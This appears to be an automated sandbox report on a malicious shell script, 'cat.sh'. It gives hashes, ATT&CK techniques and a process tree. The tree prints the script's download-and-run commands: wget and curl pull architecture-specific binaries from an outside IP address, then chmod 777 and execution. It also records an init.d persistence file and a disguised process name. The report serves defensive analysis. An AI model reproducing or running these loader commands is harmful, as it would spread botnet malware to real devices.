02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3

Analysis

max time kernel
150s
max time network
148s
platform
debian-9_mips
resource
debian9-mipsbe-20260513-en
resource tags

arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
07/10/2026, 07:33

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
cat.sh
Size 1KB
Sample261007-jdl8pavw7m
SHA256 02afacab8fe2e07c68d28c74d94b1b0ad4e99d84bbf855f66f8f2a08247f52f3
MD5 7131b5008a7ef45a05eb27a62256ebb0
SHA1 75332c77a4818a4cd0a480d4311aabbd2f02a497
SHA512 c06c2041d2cb838abf623b5880232adf79623c52a344ebae96ff511acbb3384f67655db5b883591e2528ce7655666258aa1a37e656febf08de68075778df66c7
TLSH
T15E41428918B0E113E1D8CE01B0E1C7945266F58672F62EBEEDC92DAFE8D9D40B035B35
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery persistence

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 14 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
808	chmod
744	chmod
757	chmod
762	chmod
766	chmod
770	chmod
774	chmod
778	chmod
782	chmod
727	chmod
739	chmod
748	chmod
790	chmod
799	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/x86_64	729	cat.sh
/tmp/m68k	745	cat.sh
/tmp/mips	749	cat.sh
/tmp/mipsel	758	cat.sh
/tmp/armv5l	791	cat.sh
/tmp/armv6l	800	cat.sh
/tmp/armv7l	809	cat.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies init.d 2 TTPs 1 IoCs

Adds/modifies system service, likely for persistence.

persistence

Boot or Logon Autostart Execution

T1547

RC Scripts

T1037.004

description	ioc	Process
File opened for modification	/etc/init.d/xs.main	mips

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	-sh	752	mips

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/706/stat	mips
File opened for reading	/proc/765/comm	mips
File opened for reading	/proc/769/status	mips
File opened for reading	/proc/787/task/787/children	mips
File opened for reading	/proc/795/comm	mips
File opened for reading	/proc/320/comm	mips
File opened for reading	/proc/2/cmdline	mips
File opened for reading	/proc/824/comm	mips
File opened for reading	/proc/838/comm	mips
File opened for reading	/proc/7/stat	mips
File opened for reading	/proc/23/stat	mips
File opened for reading	/proc/227/cmdline	mips
File opened for reading	/proc/665/cmdline	mips
File opened for reading	/proc/760/stat	mips
File opened for reading	/proc/764/task/764/children	mips
File opened for reading	/proc/768/stat	mips
File opened for reading	/proc/784/comm	mips
File opened for reading	/proc/1/comm	mips
File opened for reading	/proc/12/stat	mips
File opened for reading	/proc/16/status	mips
File opened for reading	/proc/22/status	mips
File opened for reading	/proc/764/comm	mips
File opened for reading	/proc/776/task/776/children	mips
File opened for reading	/proc/787/status	mips
File opened for reading	/proc/804/cmdline	mips
File opened for reading	/proc/72/comm	mips
File opened for reading	/proc/173/comm	mips
File opened for reading	/proc/19/status	mips
File opened for reading	/proc/121/exe	mips
File opened for reading	/proc/751/comm	mips
File opened for reading	/proc/785/stat	mips
File opened for reading	/proc/807/comm	mips
File opened for reading	/proc/812/stat	mips
File opened for reading	/proc/675/comm	mips
File opened for reading	/proc/707/exe	mips
File opened for reading	/proc/773/comm	mips
File opened for reading	/proc/773/stat	mips
File opened for reading	/proc/816/comm	mips
File opened for reading	/proc/824/cmdline	mips
File opened for reading	/proc/857/stat	mips
File opened for reading	/proc/317/comm	mips
File opened for reading	/proc/706/comm	mips
File opened for reading	/proc/707/comm	mips
File opened for reading	/proc/8/status	mips
File opened for reading	/proc/14/stat	mips
File opened for reading	/proc/80/status	mips
File opened for reading	/proc/707/stat	mips
File opened for reading	/proc/776/status	mips
File opened for reading	/proc/10/stat	mips
File opened for reading	/proc/20/stat	mips
File opened for reading	/proc/764/cmdline	mips
File opened for reading	/proc/765/cmdline	mips
File opened for reading	/proc/765/task/765/children	mips
File opened for reading	/proc/773/cmdline	mips
File opened for reading	/proc/796/stat	mips
File opened for reading	/proc/803/task/803/children	mips
File opened for reading	/proc/71/comm	mips
File opened for reading	/proc/376/comm	mips
File opened for reading	/proc/738/comm	mips
File opened for reading	/proc/11/cmdline	mips
File opened for reading	/proc/120/cmdline	mips
File opened for reading	/proc/120/exe	mips
File opened for reading	/proc/121/cmdline	mips
File opened for reading	/proc/776/cmdline	mips

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
749	mips
751	wget
756	curl
758	mipsel
758	sh
747	wget

Writes file to tmp directory 8 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/mipsel	wget
File opened for modification	/tmp/armv5l	wget
File opened for modification	/tmp/armv6l	wget
File opened for modification	/tmp/armv7l	wget
File opened for modification	/tmp/x86_64	wget
File opened for modification	/tmp/aarch64	wget
File opened for modification	/tmp/m68k	wget
File opened for modification	/tmp/mips	wget

/tmp/cat.sh
/tmp/cat.sh
1⤵
- Executes dropped EXE
PID:709
- /usr/bin/wget
  wget http://176.65.139.204/iran.x86_64 -O x86_64
  2⤵
  - Writes file to tmp directory
  PID:711
- /bin/chmod
  chmod 777 x86_64
  2⤵
  - File and Directory Permissions Modification
  PID:727
- /tmp/x86_64
  ./x86_64 catloader
  2⤵
  PID:729
- /usr/bin/wget
  wget http://176.65.139.204/iran.aarch64 -O aarch64
  2⤵
  - Writes file to tmp directory
  PID:732
- /bin/chmod
  chmod 777 aarch64
  2⤵
  - File and Directory Permissions Modification
  PID:739
- /tmp/aarch64catloader
  ./aarch64catloader
  2⤵
  PID:740
- /usr/bin/wget
  wget http://176.65.139.204/iran.m68k -O m68k
  2⤵
  - Writes file to tmp directory
  PID:741
- /bin/chmod
  chmod 777 m68k
  2⤵
  - File and Directory Permissions Modification
  PID:744
- /tmp/m68k
  ./m68k catloader
  2⤵
  PID:745
- /usr/bin/wget
  wget http://176.65.139.204/iran.mips -O mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:747
- /bin/chmod
  chmod 777 mips
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/mips
  ./mips catloader
  2⤵
  - Modifies init.d
  - Changes its process name
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:749
- /usr/bin/wget
  wget http://176.65.139.204/iran.mipsel -O mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:751
- /usr/bin/curl
  curl http://176.65.139.204/iran.mipsel -o mipsel
  2⤵
  - System Network Configuration Discovery
  PID:756
- /bin/chmod
  chmod 777 mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:757
- /tmp/mipsel
  ./mipsel catloader
  2⤵
  - System Network Configuration Discovery
  PID:758
- /bin/sh
  /bin/sh ./mipsel catloader
  2⤵
  - System Network Configuration Discovery
  PID:758
- /usr/bin/wget
  wget http://176.65.139.204/iran.powerpc -O powerpc
  2⤵
  PID:760
- /usr/bin/curl
  curl http://176.65.139.204/iran.powerpc -o powerpc
  2⤵
  PID:761
- /bin/chmod
  chmod 777 powerpc
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/powerpc
  ./powerpc catloader
  2⤵
  PID:763
- /usr/bin/wget
  wget http://176.65.139.204/iran.sparc -O sparc
  2⤵
  PID:764
- /usr/bin/curl
  curl http://176.65.139.204/iran.sparc -o sparc
  2⤵
  PID:765
- /bin/chmod
  chmod 777 sparc
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/sparc
  ./sparc catloader
  2⤵
  PID:767
- /usr/bin/wget
  wget http://176.65.139.204/iran.sh4 -O sh4
  2⤵
  PID:768
- /usr/bin/curl
  curl http://176.65.139.204/iran.sh4 -o sh4
  2⤵
  PID:769
- /bin/chmod
  chmod 777 sh4
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/sh4
  ./sh4 catloader
  2⤵
  PID:771
- /usr/bin/wget
  wget http://176.65.139.204/iran.arc -O arc
  2⤵
  PID:772
- /usr/bin/curl
  curl http://176.65.139.204/iran.arc -o arc
  2⤵
  PID:773
- /bin/chmod
  chmod 777 arc
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/arc
  ./arc catloader
  2⤵
  PID:775
- /usr/bin/wget
  wget http://176.65.139.204/iran.i486 -O i486
  2⤵
  PID:776
- /usr/bin/curl
  curl http://176.65.139.204/iran.i486 -o i486
  2⤵
  PID:777
- /bin/chmod
  chmod 777 i486
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/i486
  ./i486 catloader
  2⤵
  PID:779
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv4l -O armv4l
  2⤵
  PID:780
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv4l -o armv4l
  2⤵
  PID:781
- /bin/chmod
  chmod 777 armv4l
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/armv4l
  ./armv4l catloader
  2⤵
  PID:783
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv5l -O armv5l
  2⤵
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv5l -o armv5l
  2⤵
  PID:787
- /bin/chmod
  chmod 777 armv5l
  2⤵
  - File and Directory Permissions Modification
  PID:790
- /tmp/armv5l
  ./armv5l catloader
  2⤵
  PID:791
- /bin/sh
  /bin/sh ./armv5l catloader
  2⤵
  PID:791
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv6l -O armv6l
  2⤵
  - Writes file to tmp directory
  PID:793
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv6l -o armv6l
  2⤵
  PID:796
- /bin/chmod
  chmod 777 armv6l
  2⤵
  - File and Directory Permissions Modification
  PID:799
- /tmp/armv6l
  ./armv6l catloader
  2⤵
  PID:800
- /bin/sh
  /bin/sh ./armv6l catloader
  2⤵
  PID:800
- /usr/bin/wget
  wget http://176.65.139.204/iran.armv7l -O armv7l
  2⤵
  - Writes file to tmp directory
  PID:803
- /usr/bin/curl
  curl http://176.65.139.204/iran.armv7l -o armv7l
  2⤵
  PID:805
- /bin/chmod
  chmod 777 armv7l
  2⤵
  - File and Directory Permissions Modification
  PID:808
- /tmp/armv7l
  ./armv7l catloader
  2⤵
  PID:809
- /bin/sh
  /bin/sh ./armv7l catloader
  2⤵
  PID:809

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Boot or Logon Initialization Scripts

T1037

RC Scripts

T1037.004

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

xs.main

Path /etc/init.d/xs.main
Size 27B
SHA256 f6052788417d4696636d1c2a3f90f0c0cad2e7a0b4dab2b32cfd9a67b56f3a1c
MD5 c53a6927f4e5b9ebec4fc6f8bb1897bb
SHA1 422ce55d28d513c765235fd6f69ce5ea47d68bb1
SHA512 1363db52069db92838f19dbd7835e4523e88967aca84bd788ea4780606e924a294da5c4542327513d21d68477cf878f1db2f93e56cfaf340822ec44e34d85b63
MD5 SHA1 SHA512

Submit Download

aarch64

Path /tmp/aarch64
Size 205KB
SHA256 8f4c0563e9fd8901e1c6282740685c4521b877bb0e2bdfd792510672e2b007c9
MD5 cabc0156e6ebeb0e9abb2926ca999311
SHA1 2df58cdc0b3d45fddb86a79dd5e13de5a3c743f8
SHA512 479d8fa32c3549984f4e12bbdf05973dd15f476fcf82290ff2c100082fad001a915d82af6d3bfbede3fc2f5c43584f2e1df375046c56e1e89e5c80fe8bf75838
SSDEEP 3072:MwS1OScpwRz0maXCvz9P+HyC37HbKG9P9nKMhSzboqN3y:vuOScKRz0mayvhPIyu7HWwnKbzboq
TLSH
T191246BA8BA0F6C01F2C3D3F8DE8C87E13A1735E3C7768971791212EDDAA39D95990512
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

m68k

Path /tmp/m68k
Size 177KB
SHA256 6ace19d81500192e18a25f9b42068e116c20f541ae51f49a1ac2638605081963
MD5 224bee7695185602e54729e98bcb952c
SHA1 003ed343574769de532285fc08b5719c69c51035
SHA512 2d81fec63539e200c5b884cd7957628b8145864b3d5908e751edea1db78f46f7f6126b91e0d98a64b4c82af56362c2b44511fc3b89bd9233e11749d273ecd172
SSDEEP 3072:T1ThtmVqwyJ3XjRcirf200yvcKd34FSkGD52RVRf4grVpjbiNLEy5cKNKB:Fwgx4yvjd34F7GD8V4g2LLPNKB
TLSH
T1520429C7FD00DDBAF809E33748130809B130BBA254925A777257356FED3A295197BE8A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

mips

Path /tmp/mips
Size 204KB
SHA256 47ae5b0371a638ce7dddcbec7869fc6fa2e67e546bb1e814f19e87a518233461
MD5 2fcd9362dba6897f1cc497b5b0c45997
SHA1 63b33b09589101a34fddfde7b4fda44fd61e3f79
SHA512 092df53d6547d3432f02ee3fe57e2864339f7ea328baeca36798fa409e809de005e2f89e9c92fcf5317d3b12bb220de87b0a98e443518ea3d679075d594646f1
SSDEEP 3072:sPvQ7inW06qBVrDuQ5SPkCekMcJXs9op/rziTKom:sw7inW06I1DA81qJQ2/r4Kom
TLSH
T19024955E6A328F7DF368873447B74A35975D22D627E1DA84E2ACC1041F2434E681FFA8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

x86_64

Path /tmp/x86_64
Size 160KB
SHA256 7bd6aa495ec7595c0576d069e8274e2372f218b6e79ee71c9100cf5c541b24ed
MD5 b5644a585e5a60a66f4fee4ba04b7a80
SHA1 7ee327a4dafc6acddade26bc5238aa60d6cccae0
SHA512 e96ce97902f79c1cb786b8219be73c61109d14c3452f16a394723d470b7bb4599aa58b7c382cc3ad108623c363e0c360510a5be7a7b9e7d963b2649072af5f5d
SSDEEP 3072:wQUpH4VklB1Amd10qb8ODAhv4y1jFg+SVKKE:wZpfYOB25dHKE
TLSH
T165F35B0274D0D4FEC8E5C2B84BEFE136DA32B4595174761F23C8AE262E5DF212B6D650
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads